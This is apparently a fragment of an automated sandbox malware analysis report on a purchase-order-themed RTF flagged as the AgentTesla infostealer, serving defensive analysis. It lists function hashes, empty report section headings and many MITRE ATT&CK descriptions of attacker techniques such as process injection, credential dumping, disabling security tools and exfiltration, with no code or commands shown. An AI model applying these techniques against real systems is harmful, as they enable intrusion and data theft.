Instruction Fuzzy Hash: 42E0923511D3C48FC312D778A8545EABBF69FC33547080AEAD080CB996CA61AD0E83A1

Uniqueness

Uniqueness Score: -1.00%

Function 003233F0, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000022.00000002.2339957603.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cccc621e382642cda78204f96870d72fd9a499d2fa1220e4a71f088407752a86
Instruction ID: e26b7f34b6d780eeb6aa3cfd4bc1985cfc1d8fa9a3ff18a64de22868b603982c
Opcode Fuzzy Hash: cccc621e382642cda78204f96870d72fd9a499d2fa1220e4a71f088407752a86
Instruction Fuzzy Hash: 81D05E347046248F8612EF6AE84085133A96F84E4431241F1D8058B230CB36EC018697

Uniqueness

Uniqueness Score: -1.00%

Function 003233C0, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000022.00000002.2339957603.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 513d0202387f5ac102c39df2d76ac2edcde8a6ae8f53c5adeadf160eb6270a39
Instruction ID: 689922315c08e7980cf5b5b4910ab70ae1a922fd66bc9eb848bed6b635ebd1f2
Opcode Fuzzy Hash: 513d0202387f5ac102c39df2d76ac2edcde8a6ae8f53c5adeadf160eb6270a39
Instruction Fuzzy Hash: 33D0C97454D7D04FCF475730693C0547F30DF5B11170A48DAE1C58B2B3E5659806CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00320457, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000022.00000002.2339957603.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb62f8fc5ef5b0b76529467e550745df5d4bbab5709e19f142ac5f5453228fa8
Instruction ID: 0d834ec974f5ccc8d7ca0c5999ca19f8ca7a52cb46124a911ea5afb465b5e8de
Opcode Fuzzy Hash: cb62f8fc5ef5b0b76529467e550745df5d4bbab5709e19f142ac5f5453228fa8
Instruction Fuzzy Hash: 26D0C91411D2D04FCF03677019382543FB0ED8720434944DED2C18F2A3C854581AC712

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process monitoring
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Customer-unionroadwaysltd-8754-PO.doc__.rtf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Sigma Overview

Exploits:

System Summary:

Malware Analysis System Evasion:

Signature Overview

AV Detection:

Exploits:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static RTF Info

Objects

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre